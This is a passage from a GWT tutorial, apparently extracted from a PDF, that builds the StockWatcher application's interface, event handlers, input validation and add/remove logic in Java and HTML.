Open the application style sheet, StockWatcher/war/StockWatcher.css. A style sheet is associated with each project. By default, the application style sheet, StockWatcher.css, contains style rules for the starter application. In the Applying Style section of this tutorial, you'll replace the style rules for the starter application, with the style rules for the StockWatcher application. Just as for any web page, you can specify multiple style sheets. List multiple style sheets in their order of inheritance; that is, with the most specific style rules in the last style sheet listed.

The Java source code
Open the source for the StockWatcher entry point class, StockWatcher/src/com/google/gwt/sample/stockwatcher/client/StockWatcher.java. Currently, StockWatcher.java contains the Java source for the starter application. In this tutorial, you'll replace this code with the client-side code for StockWatcher. The StockWatcher class implements the GWT interface EntryPoint. It contains the method onModuleLoad. Because the StockWatcher class is specified as the entry point class in StockWatcher's module definition, when you launch StockWatcher the onModuleLoad method is called. The StockWatcher class inherits functionality via other GWT modules you included in StockWatcher's module definition (StockWatcher.gwt.xml). For example, when building the user interface, you'll be able to include types and resources from the package com.google.gwt.user.client.ui because it is part of the GWT core functionality included in the GWT module com.google.gwt.user.User.

50 / 469

3.2.2.

Step 2: Design the Application

At this point, you've created the stub files you need to start coding StockWatcher. In this section, you'll review the functional requirements and design the user interface.

3.2.2.1.
• • • • • •

Examining the functional requirements

Initially you want the StockWatcher application to do six things. Provide users with the ability to add stocks. (Supply simple validation on input for illegal characters or existing stock.) Display the following information for each stock: symbol, price, change since last refresh. Provide users with the ability to delete a stock from the list. Refresh the stock price. Calculate the change since the last refresh as both a number and a percentage. Display a timestamp indicating the last update.

3.2.2.2.

Identifying the elements of the UI design

After studying StockWatcher's functional requirements, you decide you need these UI elements: • • • • • • • a table to hold the stock data two buttons, one to add stocks and one to remove them an input box to enter the stock code a timestamp to show the time and date of the last refresh a logo a header colors to indicate whether the change in price was positive or negative

The design team has suggested the following additions:

51 / 469

Including Static Elements
GWT does not dictate how you lay out your HTML page. A GWT application can take up the entire browser window, as it does in the startup application, or it can be embedded in an existing page, as it is in the Build a Sample GWT Application page of this tutorial. The StockWatcher application contains both static and dynamic elements. The Google Code logo and the header "StockWatcher" are static elements in the HTML host page. All the other elements are created programmatically using GWT widgets and panels.

3.2.3.

Step 3: Build the User Interface

At this point, you've created the components of the StockWatcher project and reviewed its functional requirements and UI design. In this section, you'll build the user interface out of GWT widgets and panels. 1. 2. 3. 4. 5. Select the GWT widgets needed to implement the UI elements. Select the GWT panels needed to lay out the UI elements. Embed the application in the host page, StockWatcher.html. Implement the widgets and panels in StockWatcher.java. Test the layout in development mode.

GWT shields you from worrying too much about cross-browser incompatibilities. If you construct the interface with GWT widgets and composites, your application will work on the most recent versions of Chrome, Firefox, Internet Explorer, Opera, and Safari. However, DHTML user interfaces remain remarkably quirky; therefore, you still must test your applications thoroughly on every browser.

3.2.3.1.

Selecting GWT widgets to implement the UI elements

First, look at the Widget Gallery and select the GWT widget for each UI element. In the Widget Gallery the widgets have a default style and so they don't look exactly as they will in the final implementation of StockWatcher. Don't worry about that now. First you'll focus on getting the widgets working. Later, you will change their appearance with CSS in the Applying Syles section.

Stock Data Table
GWT provides a special table widget called a FlexTable. The FlexTable widget creates cells on demand. This is just what you need for the table containing the stock data because you don't know how many stocks the user will add. A table implemented with the FlexTable widget will expand or collapse as the user adds or removes stocks.

Buttons
Whenever possible, GWT defers to a browser's native user interface elements. For instance, a Button widget becomes a true HTML <button> rather than a synthetic button-like widget that's built, for example, from a <div>. This means that GWT buttons render as designed by the browser and client operating system. The benefit of using native browser controls is that they are fast, accessible, and most familiar to users. Also, they can be styled with CSS.

Input Box
GWT provides several widgets to create fields that users can type in: • • • TextBox widget, a single-line text box PassWordTextBox widget, a text box that visually masks input TextArea widget, a multi-line text box

• SuggestBox, a text box that displays a pre-configured set of items StockWatcher users will type in a stock code which is single line of text; therefore, implement a TextBox widget.

52 / 469

Label
In contrast with the Button widget, the Label widget does not map to the HTML <label> element, used in HTML forms. Instead it maps to a <div> element that contains arbitrary text that is not interpreted as HTML. As a <div> element, it is a block-level element rather than an inline element.
<div class="gwt-Label">Last update : Oct 1, 2008 1:31:48 PM</div>

If you're interested in taking a peek at the API reference for the GWT widgets you'll use to build the StockWatcher interface, click on the links in the table below. UI element a table to hold the stock data two buttons, one to add stocks and one to remove them an input box to enter the stock code a timestamp to show the time and date of the last refresh a logo a header colors to indicate whether the change in price was positive or negative GWT implementation FlexTable widget Button widget TextBox widget Label widget image file referenced from HTML host page static HTML in HTML host page dynamic CSS

In Depth: If you don't find a widget that meets the functional requirements of your application, you can create your own. For details on creating composite widgets or widgets from scratch using Java or JavaScript, see the Developer's Guide, Creating Custom Widgets.

3.2.3.2.

Selecting GWT panels to lay out the UI elements

Now that you know what widgets you'll use, you'll decide how to lay them out using GWT panels. GWT provides several types of panels to manage the layout. Panels can be nested within other panels. This is analogous to laying out your web page in HTML using nested div elements or tables. For StockWatcher, you'll use a horizontal panel nested within a vertical panel.

Horizontal Panel
The two elements used to add a stock—the input box for typing in a new stock symbol and the Add button—are closely related functionally and you want keep them together visually. To lay them out side-by-side, you'll put the TextBox widget and a Button widget in a horizontal panel. In the Java code, you'll create a new instance of HorizontalPanel and name it addPanel.

53 / 469

Vertical Panel
You want to lay out the remaining elements vertically: • • • the FlexTable widget for the stock table the Add Stock panel, which contains the input box and Add button the Label widget for the timestamp

You'll do this with a vertical panel. In the Java code, you'll create a new instance of VerticalPanel and name it mainPanel.

Root Panel
There is one more panel you need that is not visible in the user interface: a Root panel. A Root panel is the container for the dynamic elements of your application. It is at the top of any GWT user interface hierarchy. There are two ways you can use a Root panel, either to generate the entire body of the page or to generate specific elements embedded in the body. The Root panel works by wrapping the <body> or other element in the HTML host page. By default (that is, if you don't add any placeholders in the host page) the Root panel wraps the <body> element. However, you can wrap any element if you give it an id and then, when you call the Root panel, pass the id as a parameter. You'll see how this works in the next two sections when you do it for StockWatcher.
RootPanel.get() RootPanel.get("stockList") // Default. Wraps the HTML body element. // Wraps any HTML element with an id of "stockList"

A host page can contain multiple Root panels. For example, if you're embedding multiple GWT widgets or panels into a host page, each one can be implemented independently of the others, wrapped in its own Root panel.

3.2.3.3.

Embedding the application in the host page

To get the StockWatcher application to run in the browser, you need to embed it in an HTML file, the HTML host page. The host page for the StockWatcher project, StockWatcher.html, was generated by webAppCreator. For the starter application, StockWatcher.html had an empty body element. As a result, the Root panel wrapped the entire body element. The text input box, label ("Please enter your name:") and "Send" button were build dynamically with GWT. If your application has no static elements, you wouldn't need to edit the HTML host page at all. However, for StockWatcher you will use some static HTML text (for the header) and an image (for the logo) in addition to the dynamic elements. You will embed the GWT application in the browser page using a placeholder, a <div> element with an id of "stockList". This implementation strategy is especially useful for embedding GWT into an existing application. As shown in the following code, do the following: 1. Open the host page, StockWatcher/war/StockWatcher.html. 2. 3. 4. 5. 6. In the head element, change the title text to StockWatcher. In the body element, add an <h1> heading, StockWatcher. In the body element, add a <div> element and give it an id of stockList. Delete the unneeded elements from the starter project application. Save the file StockWatcher.html.

54 / 469

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <meta http-equiv="content-type" content="text/html; charset=UTF-8"> <link type="text/css" rel="stylesheet" href="StockWatcher.css"> <title>StockWatcher</title> <script type="text/javascript" language="javascript" src="stockwatcher/stockwatcher.nocache.js"></script> </head> <body> <h1>StockWatcher</h1> <div id="stockList"></div> <iframe src="javascript:''" id="__gwt_historyFrame" tabIndex='-1' style="position:absolute;width:0;height:0;border:0"></iframe> <noscript> <div style="width: 22em; position: absolute; left: 50%; margin-left: -11em; color: red; background-color: white; border: 1px solid red; padding: 4px; font-family: sans-serif"> Your web browser must have JavaScript enabled in order for this application to display correctly. </div> </noscript> <h1>Web Application Starter Project</h1> <table align="center"> <tr> <td colspan="2" style="font-weight:bold;">Please enter your name:</td> </tr> <tr> <td id="nameFieldContainer"></td> <td id="sendButtonContainer"></td> </tr> </table> </body> </html>

Note: HTML comments have been omitted for brevity.

3.2.3.4.

Implementing widgets and panels

Next you will construct the user interface from GWT widgets and panels. You want the UI to display as soon as StockWatcher starts up, so you'll implement them in the onModuleLoad method. In this section, you will: 1. Instantiate each widget and panel. 2. Create the table that holds the stock data. 3. Lay out the widgets using the Add Stock (horizontal) panel and the Main (vertical) panel. 4. Associate the Main panel with the Root panel. 5. Move the cursor focus to the input box. You can follow this section of the tutorial step-by-step, or you can cut and paste the entire block of code from the Summary at the end.

Instantiate each widget and panel
1. Instantiate each widget and panel using class field initializers. Open StockWatcher/src/com/google/gwt/sample/stockwatcher/client/StockWatcher.java. In StockWatcher.java, replace all the existing code for the starter application (from the imports down to the handler) with the following code.

55 / 469

package com.google.gwt.sample.stockwatcher.client; public class StockWatcher implements EntryPoint { private private private private private private VerticalPanel mainPanel = new VerticalPanel(); FlexTable stocksFlexTable = new FlexTable(); HorizontalPanel addPanel = new HorizontalPanel(); TextBox newSymbolTextBox = new TextBox(); Button addStockButton = new Button("Add"); Label lastUpdatedLabel = new Label();

/** * Entry point method. */ public void onModuleLoad() { // TODO Create table for stock data. // TODO Assemble Add Stock panel. // TODO Assemble Main panel. // TODO Associate the Main panel with the HTML host page. // TODO Move cursor focus to the input box. } }

Along the left edge, Eclipse flags the variable definitions with a red "x" because their types are undefined. Tip: One way you can leverage Eclipse is to use its "suggest" feature to add the required import declarations, as follows. 2. Display suggested corrections by clicking on the first red "x". Select "import EntryPoint (com.google.gwt.core.client.EntryPoint)" by pressing return. 3. Resolve all the other errors by declaring the import declarations in the same way. If you are not using Eclipse, cut and paste from the highlighted code below.
package com.google.gwt.sample.stockwatcher.client; import import import import import import import com.google.gwt.core.client.EntryPoint; com.google.gwt.user.client.ui.Button; com.google.gwt.user.client.ui.FlexTable; com.google.gwt.user.client.ui.HorizontalPanel; com.google.gwt.user.client.ui.Label; com.google.gwt.user.client.ui.TextBox; com.google.gwt.user.client.ui.VerticalPanel;

public class StockWatcher implements EntryPoint { private private private private private private VerticalPanel mainPanel = new VerticalPanel(); FlexTable stocksFlexTable = new FlexTable(); HorizontalPanel addPanel = new HorizontalPanel(); TextBox newSymbolTextBox = new TextBox(); Button addStockButton = new Button("Add"); Label lastUpdatedLabel = new Label();

/** * Entry point method. */ public void onModuleLoad() { // TODO Create table for stock data. // TODO Assemble Add Stock panel. // TODO Assemble Main panel. // TODO Associate the Main panel with the HTML host page. // TODO Move cursor focus to the input box. } }

Create a table for stock data
Implement the table that will hold the stock data. Set up the header row of the table. To do this, use the setText method to create labels in the heading of each column: Symbol, Price, Change, Remove. Create a table for stock data. In the onModuleLoad method, replace the TODO comment with the highlighted code. 56 / 469

package com.google.gwt.sample.stockwatcher.client; import import import import import import import com.google.gwt.core.client.EntryPoint; com.google.gwt.user.client.ui.Button; com.google.gwt.user.client.ui.FlexTable; com.google.gwt.user.client.ui.HorizontalPanel; com.google.gwt.user.client.ui.Label; com.google.gwt.user.client.ui.TextBox; com.google.gwt.user.client.ui.VerticalPanel;

public class StockWatcher implements EntryPoint { private private private private private private VerticalPanel mainPanel = new VerticalPanel(); FlexTable stocksFlexTable = new FlexTable(); HorizontalPanel addPanel = new HorizontalPanel(); TextBox newSymbolTextBox = new TextBox(); Button addStockButton = new Button("Add"); Label lastUpdatedLabel = new Label();

/** * Entry point method. */ public void onModuleLoad() { // Create table for stock data. stocksFlexTable.setText(0, 0, "Symbol"); stocksFlexTable.setText(0, 1, "Price"); stocksFlexTable.setText(0, 2, "Change"); stocksFlexTable.setText(0, 3, "Remove"); // // // // TODO TODO TODO TODO Assemble Add Stock panel. Assemble Main panel. Associate the Main panel with the HTML host page. Move cursor focus to the input box.

} }

You can see that adding to a table can be accomplished with a call to the setText method. The first parameter indicates the row, the second the column, and the final parameter is the text that will be displayed in the table cell.

Lay out the widgets
To lay out the widgets, you'll assemble two panels, the Add Stock panel and the Main panel. First assemble the Add Stock panel, a horizontal panel that wraps the input box and Add button. Then assemble the Main panel, a vertical panel that specifies the layout of the stock list table, the Add Stock panel, and the timestamp. Lay out the widgets in the Add Stock panel and the Main panel. In the onModuleLoad method, replace the TODO comment with the highlighted code.

57 / 469

package com.google.gwt.sample.stockwatcher.client; import import import import import import import com.google.gwt.core.client.EntryPoint; com.google.gwt.user.client.ui.Button; com.google.gwt.user.client.ui.FlexTable; com.google.gwt.user.client.ui.HorizontalPanel; com.google.gwt.user.client.ui.Label; com.google.gwt.user.client.ui.TextBox; com.google.gwt.user.client.ui.VerticalPanel;

public class StockWatcher implements EntryPoint { private private private private private private VerticalPanel mainPanel = new VerticalPanel(); FlexTable stocksFlexTable = new FlexTable(); HorizontalPanel addPanel = new HorizontalPanel(); TextBox newSymbolTextBox = new TextBox(); Button addStockButton = new Button("Add"); Label lastUpdatedLabel = new Label();

/** * Entry point method. */ public void onModuleLoad() { // Create table for stock data. stocksFlexTable.setText(0, 0, "Symbol"); stocksFlexTable.setText(0, 1, "Price"); stocksFlexTable.setText(0, 2, "Change"); stocksFlexTable.setText(0, 3, "Remove"); // Assemble Add Stock panel. addPanel.add(newSymbolTextBox); addPanel.add(addStockButton); // Assemble Main panel. mainPanel.add(stocksFlexTable); mainPanel.add(addPanel); mainPanel.add(lastUpdatedLabel); // TODO Associate the Main panel with the HTML host page. // TODO Move cursor focus to the input box. } }

58 / 469

Associate the Main panel with the Root panel
In order for any GWT widget or panel to be embedded in the HTML host page, it must be contained within a Root panel. Associate the Root panel with Vertical panel assigned to mainPanel. The Root panel wraps the HTML element (in StockWatcher's host page) that has an id of "stocklist". In this case, it is a <div> element. 1. Associate the Main panel with the host page via the Root panel. In the onModuleLoad method, replace the TODO comment with the highlighted code.
package com.google.gwt.sample.stockwatcher.client; import import import import import import import com.google.gwt.core.client.EntryPoint; com.google.gwt.user.client.ui.Button; com.google.gwt.user.client.ui.FlexTable; com.google.gwt.user.client.ui.HorizontalPanel; com.google.gwt.user.client.ui.Label; com.google.gwt.user.client.ui.TextBox; com.google.gwt.user.client.ui.VerticalPanel;

public class StockWatcher implements EntryPoint { private private private private private private VerticalPanel mainPanel = new VerticalPanel(); FlexTable stocksFlexTable = new FlexTable(); HorizontalPanel addPanel = new HorizontalPanel(); TextBox newSymbolTextBox = new TextBox(); Button addStockButton = new Button("Add"); Label lastUpdatedLabel = new Label();

/** * Entry point method. */ public void onModuleLoad() { // Create table for stock data. stocksFlexTable.setText(0, 0, "Symbol"); stocksFlexTable.setText(0, 1, "Price"); stocksFlexTable.setText(0, 2, "Change"); stocksFlexTable.setText(0, 3, "Remove"); // Assemble Add Stock panel. addPanel.add(newSymbolTextBox); addPanel.add(addStockButton); // Assemble Main panel. mainPanel.add(stocksFlexTable); mainPanel.add(addPanel); mainPanel.add(lastUpdatedLabel); // Associate the Main panel with the HTML host page. RootPanel.get("stockList").add(mainPanel); // TODO Move cursor focus to the input box. } }

Eclipse flags RootPanel and suggests the correct import declaration. 2. Include the import declaration.
import com.google.gwt.user.client.ui.RootPanel;

59 / 469

Move cursor focus to the input box
Finally, move the cursor focus to the input box so, when StockWatcher loads, the user can begin adding stocks. In the onModuleLoad method, replace the TODO comment with the highlighted code.
package com.google.gwt.sample.stockwatcher.client; import import import import import import import import com.google.gwt.core.client.EntryPoint; com.google.gwt.user.client.ui.Button; com.google.gwt.user.client.ui.FlexTable; com.google.gwt.user.client.ui.HorizontalPanel; com.google.gwt.user.client.ui.Label; com.google.gwt.user.client.ui.RootPanel; com.google.gwt.user.client.ui.TextBox; com.google.gwt.user.client.ui.VerticalPanel;

public class StockWatcher implements EntryPoint { private private private private private private VerticalPanel mainPanel = new VerticalPanel(); FlexTable stocksFlexTable = new FlexTable(); HorizontalPanel addPanel = new HorizontalPanel(); TextBox newSymbolTextBox = new TextBox(); Button addStockButton = new Button("Add"); Label lastUpdatedLabel = new Label();

/** * Entry point method. */ public void onModuleLoad() { // Create table for stock data. stocksFlexTable.setText(0, 0, "Symbol"); stocksFlexTable.setText(0, 1, "Price"); stocksFlexTable.setText(0, 2, "Change"); stocksFlexTable.setText(0, 3, "Remove"); // Assemble Add Stock panel. addPanel.add(newSymbolTextBox); addPanel.add(addStockButton); // Assemble Main panel. mainPanel.add(stocksFlexTable); mainPanel.add(addPanel); mainPanel.add(lastUpdatedLabel); // Associate the Main panel with the HTML host page. RootPanel.get("stockList").add(mainPanel); // Move cursor focus to the input box. newSymbolTextBox.setFocus(true); } }

60 / 469

Summary
Here's what you've done to this point.
package com.google.gwt.sample.stockwatcher.client; import import import import import import import import com.google.gwt.core.client.EntryPoint; com.google.gwt.user.client.ui.Button; com.google.gwt.user.client.ui.FlexTable; com.google.gwt.user.client.ui.HorizontalPanel; com.google.gwt.user.client.ui.Label; com.google.gwt.user.client.ui.RootPanel; com.google.gwt.user.client.ui.TextBox; com.google.gwt.user.client.ui.VerticalPanel;

public class StockWatcher implements EntryPoint { private private private private private private VerticalPanel mainPanel = new VerticalPanel(); FlexTable stocksFlexTable = new FlexTable(); HorizontalPanel addPanel = new HorizontalPanel(); TextBox newSymbolTextBox = new TextBox(); Button addStockButton = new Button("Add"); Label lastUpdatedLabel = new Label();

/** * Entry point method. */ public void onModuleLoad() { // Create table for stock data. stocksFlexTable.setText(0, 0, "Symbol"); stocksFlexTable.setText(0, 1, "Price"); stocksFlexTable.setText(0, 2, "Change"); stocksFlexTable.setText(0, 3, "Remove"); // Assemble Add Stock panel. addPanel.add(newSymbolTextBox); addPanel.add(addStockButton); // Assemble Main panel. mainPanel.add(stocksFlexTable); mainPanel.add(addPanel); mainPanel.add(lastUpdatedLabel); // Associate the Main panel with the HTML host page. RootPanel.get("stockList").add(mainPanel); // Move cursor focus to the input box. newSymbolTextBox.setFocus(true); } }

61 / 469

3.2.3.5.

Testing the layout

One benefit of using GWT in your AJAX application development is that you can see the effects of your code changes as soon as you refresh the browser running development mode. So that you can see your changes whether you are developing or debugging, in Eclipse, run StockWatcher in debug mode. Then you'll be able to switch between Java and Debug perspectives without having to relaunch StockWatcher. 1. Save the edited file: Save StockWatcher.java 2. If the StockWatcher project is still running from the startup application, stop it by going to the Development Mode tab an clicking on the red square in its upper right corner, whose tooltip says "Terminate Selected Launch", and then the gray "XX" to its right, whose tooltip says "Remove All Terminated Launches". It may take a minute for it to complete, before you can do the next step. 3. Launch StockWatcher in development mode. From the Eclipse menu bar, select Run > Debug As > Web Application If you are not using Eclipse, from the command line enter ant devmode 4. The browser displays your first iteration of the StockWatcher application. The button will not work until we later implement it.

StockWatcher displays the header of the flex table, the input box, and the Add button. You haven't yet set the text for the Label, so it isn't displayed. You'll do that after you've implemented the stock refresh mechanism. 5. Leave StockWatcher running in development mode. In the rest of this tutorial, you'll frequently be testing changes in development mode.

Refreshing Development Mode
You do not always need to relaunch your application in development mode after modifying your source code. Instead, just click the browser's Refresh button after saving your changes, and the code server will automatically recompile your application and open the new version. Best Practices: You may notice that your changes take effect sometimes even if you do not refresh development mode. This behavior is a result of the way development mode interacts with the compiled code, but it is not always reliable. Specifically, it happens only when you make minor changes to existing functions. To ensure your changes are included, make it a habit to always refresh the browser after making changes.

62 / 469

3.2.4.

Step 4: Manage Events on the Client

At this point, you've created all the elements of the interface. Like many user interface frameworks, GWT is event-based. This means that the code executes in response to some event occurring. Most often, that event is triggered by the user, who uses the mouse or keyboard to interact with the application interface. In this section, you'll wire up your widgets to listen for and handle mouse and keyboard events. 1. 2. 3. 4. Review the functional requirements. Listen for events. Respond to events. Test event handling.

3.2.4.1.

Reviewing the requirements for event handling

Let's review the StockWatcher requirements to see what events occur. Task UI Event (Trigger mechanism) • • • • • Response Verify input. Check if stock already exists. Add a new row. Create a delete button. Remove row from table.

User enters a stock code.

Clicks the Add button or presses return in the input box.

User deletes stock from the table.

Presses the Remove button.

GWT provides a number of different event handler interfaces. To handle click events on the Add and Remove buttons, you'll use the ClickHandler interface. To handle keyboard events in the input box, you'll use the KeyPressHandler interface. Starting with GWT 1.6, the ClickHandler, KeyDownHandler, KeyPressHandler, and KeyUpHandler interfaces have replaced the now deprecated ClickListener and KeyBoardListener interfaces.

3.2.4.2.

Listening for events

Event Handler Interfaces
Events in GWT use the event handler interface model similar to other user interface frameworks. To subscribe to an event, you pass a particular event handler interface to the appropriate widget. An event handler interface defines one or more methods that the widget then calls to announce (publish) an event.

Handling Mouse Events
One way StockWatcher users can enter a stock code is by using their mouse to click on the Add button. You'll handle the Add button's click event by passing it an object that implements the ClickHandler interface. In this case, you'll use an anonymous inner class to implement ClickHandler. The ClickHandler interface has one method, onClick, which fires when the user clicks on the widget. When the user clicks on the Add button, StockWatcher should respond by adding the stock to the stock table. So, to handle the click event, call the addStock method. You haven't written the addStock method yet; you'll create a stub and then code it in the next section. 1. Add an event handler to the Add button so it can receive click events. In Stockwatcher.java, in the onModuleLoad method, cut and paste the code commented "Listen for mouse events on the Add button." that is highlighted below. Eclipse flags ClickHandler and suggests you include the import declaration. 2. Include the import declarations for ClickHandler and ClickEvent. Eclipse flags addStock. 3. In StockWatcher.java, create the stub for the addStock method. Select the Eclipse shortcut, Create method addStock() in type 'StockWatcher'. Or copy and paste from the code highlighted below.

63 / 469

Note: Depending on your Eclipse configuration, it might create the addStock method with an access modifier of protected. You aren't going to subclass StockWatcher, so later when you implement the addStock method, you'll change its access to private.

package com.google.gwt.sample.stockwatcher.client; import import import import import import import import import import com.google.gwt.core.client.EntryPoint; com.google.gwt.event.dom.client.ClickEvent; com.google.gwt.event.dom.client.ClickHandler; com.google.gwt.user.client.ui.Button; com.google.gwt.user.client.ui.FlexTable; com.google.gwt.user.client.ui.HorizontalPanel; com.google.gwt.user.client.ui.Label; com.google.gwt.user.client.ui.RootPanel; com.google.gwt.user.client.ui.TextBox; com.google.gwt.user.client.ui.VerticalPanel;

public class StockWatcher implements EntryPoint { private private private private private private VerticalPanel mainPanel = new VerticalPanel(); FlexTable stocksFlexTable = new FlexTable(); HorizontalPanel addPanel = new HorizontalPanel(); TextBox newSymbolTextBox = new TextBox(); Button addStockButton = new Button("Add"); Label lastUpdatedLabel = new Label();

/** * Entry point method. */ public void onModuleLoad() { // Create table for stock data. stocksFlexTable.setText(0, 0, "Symbol"); stocksFlexTable.setText(0, 1, "Price"); stocksFlexTable.setText(0, 2, "Change"); stocksFlexTable.setText(0, 3, "Remove"); // Assemble Add Stock panel. addPanel.add(newSymbolTextBox); addPanel.add(addStockButton); // Assemble Main panel. mainPanel.add(stocksFlexTable); mainPanel.add(addPanel); mainPanel.add(lastUpdatedLabel); // Associate the Main panel with the HTML host page. RootPanel.get("stockList").add(mainPanel); // Move cursor focus to the input box. newSymbolTextBox.setFocus(true); // Listen for mouse events on the Add button. addStockButton.addClickHandler(new ClickHandler() { public void onClick(ClickEvent event) { addStock(); } });

}

/** * Add stock to FlexTable. Executed when the user clicks the addStockButton or * presses enter in the newSymbolTextBox. */ private void addStock() { // TODO Auto-generated method stub } }

64 / 469

Implementation Note: For smaller applications, such as StockWatcher, that handle relatively few events, using anonymous inner classes gets the job done with minimal coding. However, if you have large number of event handlers subscribing to events, this approach can be inefficient because it could result in the creation of many separate event handler objects. In that case, it's better to have a class implement the event handler interface and handle events coming from multiple event publishers. You can distinguish the source of the event by calling its getSource() method. This makes better use of memory but requires slightly more code. For a code example, see the Developer's Guide, Event Handlers.

Handling Keyboard Events
In addition to using the Add button, StockWatcher users can enter a stock code without taking their hands from the keyboard by pressing return in the input box. To subscribe to keyboard events, you can call the addKeyPressHandler(KeyPressHandler) method and pass it a KeyPressHandler. 1. Hook up the keypress event handler for the input box, newSymbolTextBox. In the onModuleLoad method, cut and paste the code commented "Listen for keyboard events in the input box." that is highlighted below.
// Listen for mouse events on the Add button. addStockButton.addClickHandler(new ClickHandler() { public void onClick(ClickEvent event) { addStock(); } }); // Listen for keyboard events in the input box. newSymbolTextBox.addKeyPressHandler(new KeyPressHandler() { public void onKeyPress(KeyPressEvent event) { if (event.getCharCode() == KeyCodes.KEY_ENTER) { addStock(); } } }); } /** * Add stock to FlexTable. Executed when the user clicks the addStockButton or * presses enter in the newSymbolTextBox. */ private void addStock() { // TODO Auto-generated method stub } }

Eclipse flags KeyPressHandler and suggests you include the import declaration. 2. Include the import declarations.
import com.google.gwt.event.dom.client.KeyCodes; import com.google.gwt.event.dom.client.KeyPressEvent; import com.google.gwt.event.dom.client.KeyPressHandler;

The event handlers are now wired up and ready for an event. Your next step is to fill out the stub addStock method.

65 / 469

3.2.4.3.

Responding to user events

At this point, StockWatcher should be listening for user input, a mouse or keyboard event that signals the user has entered a stock code. So next you'll test whether or not the event handler interfaces are working by coding the response that StockWatcher should make when it detects an event: add the stock. StockWatcher responds on the client side without sending any requests back to server or reloading the HTML page.

Adding the stock to the stock table
In StockWatcher, users will enter the stock codes of the stocks they want to monitor one at a time into the input box. When they press Enter or click on the Add button, you want StockWatcher to respond as follows: 1. Validate the input. 2. Check for duplicates. 3. Add the stock. 4. Add a button for removing the stock from the list. In this section, you'll code the first response, validating the input, just to see if the event handler interfaces are working. In the next section, Coding Functionality on the Client, you'll code the rest of the steps to add the stock. You'll implement this functionality in the addStock method.

Validating input in a text box
You want verify that the stock code entered is valid. Rather than verify whether the user input matches an actual stock code, for the purposes of this tutorial, you'll just perform a simple character validity check. First, extract the stock code. To retrieve the text in the TextBox widget use its getText method. Next, ensure that the charcters are not within the set of illegal characters you specify. After you've converted the user input to a standard form, use a regular expression to check its format. Remember to use regular expressions that have the same meaning in both Java and JavaScript. If the input is valid, clear the text box so the user can add another stock code. Finally, if the input is not valid, warn users via a dialog box. 1. Validate user input of the stock code. In StockWatcher.java. replace the stub addStock method with following code.
private void addStock() { final String symbol = newSymbolTextBox.getText().toUpperCase().trim(); newSymbolTextBox.setFocus(true); // Stock code must be between 1 and 10 chars that are numbers, letters, or dots. if (!symbol.matches("^[0-9A-Z\\.]{1,10}$")) { Window.alert("'" + symbol + "' is not a valid symbol."); newSymbolTextBox.selectAll(); return; } newSymbolTextBox.setText(""); // // // // TODO TODO TODO TODO Don't add the stock if it's already in the table. Add the stock to the table. Add a button to remove this stock from the table. Get the stock price.

}

Eclipse flags Window and suggests you include the import declaration. 2. Include the import declaration.
import com.google.gwt.user.client.Window;

66 / 469

3.2.4.4.

Testing event handling

At this point you should be able to enter text in the input box. If you use an illegal character, a dialog box should pop up and display a warning. Try it and see. 1. Test event handling in development mode. Press Refresh in the already open browser. 2. Test that both event handler interfaces work. Enter stock codes in the input box. Enter using both methods, by pressing return and by using the mouse to click on the Add button. At this point, the stock is not added to the table. However, the input box should clear so that you can add another stock. 3. Test the validity checking and error message. Make some typos that include illegal characters.

Tip: Changes made to your Java code are immediately shown in the browser after pressing refresh. If development mode is already running, you don't need to restart it. Just click the Refresh button in your browser to reload your updated GWT code. Although you have not compiled StockWatcher yet, you can test it in production mode here: Run StockWatcher

67 / 469

3.2.5.

Step 5: Code Functionality on the Client

At this point, you've built the user interface from GWT widgets and panels and wired in the event handlers. StockWatcher accepts input but it doesn't yet add the stock to the stock table or update any stock data. In this section, you'll finish implementing all of StockWatcher's client-side functionality. Specifically, you'll write the code to the following: 1. Add and remove stocks from the stock table. 2. Refresh the Prices and Change fields for each stock in the table. 3. Implement the timestamp showing the time of last update. Your initial implementation of StockWatcher is simple enough that your can code all its functionality on the client side. Later you'll add calls to the server to retrieve the stock data.

3.2.5.1.

Adding and removing stocks from the stock table

Your first task is to add the stock code and a Remove button to the stock table. Remember, the FlexTable will automatically resize to hold the data, so you don't have to worry about writing code to handle that. A. B. C. D. Create a data structure. Add rows to the stock table. Add a button to remove stocks from the stock table. Test in development mode.

A. Create a data structure
You need a data structure to hold the list of stock symbols the user has entered. Use the standard Java ArrayList and call the list stocks. 1. Create a data structure. In StockWatcher.java, in the StockWatcher class, create a new instance of a Java ArrayList.
public class StockWatcher implements EntryPoint { private private private private private private private VerticalPanel mainPanel = new VerticalPanel(); FlexTable stocksFlexTable = new FlexTable(); HorizontalPanel addPanel = new HorizontalPanel(); TextBox newSymbolTextBox = new TextBox(); Button addStockButton = new Button("Add"); Label lastUpdatedLabel = new Label(); ArrayList<String> stocks = new ArrayList<String>();

2. Eclipse flags ArrayList and suggests you include the import declaration. 3. Include the import declaration.
import java.util.ArrayList;

B. Add rows to the flex table
After the user enters a stock code, first check to make sure it's not a duplicate. If the stock code doesn't exist, add a new row to the FlexTable and populate the cell in the first column (column 0) with the stock symbol that the user entered. To add text to a cell in the FlexTable, call the setText method. 1. Check the stock to see if it exists and if it does, don't add it again. In the addStock method, replace the TODO comment with this code.
// Don't add the stock if it's already in the table. if (stocks.contains(symbol)) return;

68 / 469

2. If the stock doesn't exist, add it. In the addStock method, replace the TODO comment with this code.
// Add the stock to the table. int row = stocksFlexTable.getRowCount(); stocks.add(symbol); stocksFlexTable.setText(row, 0, symbol);

When you call the setText method, the FlexTable automatically creates new cells as needed; therefore, you don't need to resize the table explicitly.

C. Add a button to remove stocks from the stock list
So that users can delete a specific stock from the list, insert a Remove button in the last cell of the table row. To add a widget to a cell in the FlexTable, call the setWidget method. Subscribe to click events with the addClickHandler method. If the Remove Stock button publishes a click event, remove the stock from the FlexTable and the ArrayList. 1. Add the button for deleting the stock from the list. In the addStock method, replace the TODO comment with this code.
// Add a button to remove this stock from the table. Button removeStockButton = new Button("x"); removeStockButton.addClickHandler(new ClickHandler() { public void onClick(ClickEvent event) { int removedIndex = stocks.indexOf(symbol); stocks.remove(removedIndex); stocksFlexTable.removeRow(removedIndex + 1); } }); stocksFlexTable.setWidget(row, 3, removeStockButton);

D. Test Add/Remove Stock Functionality
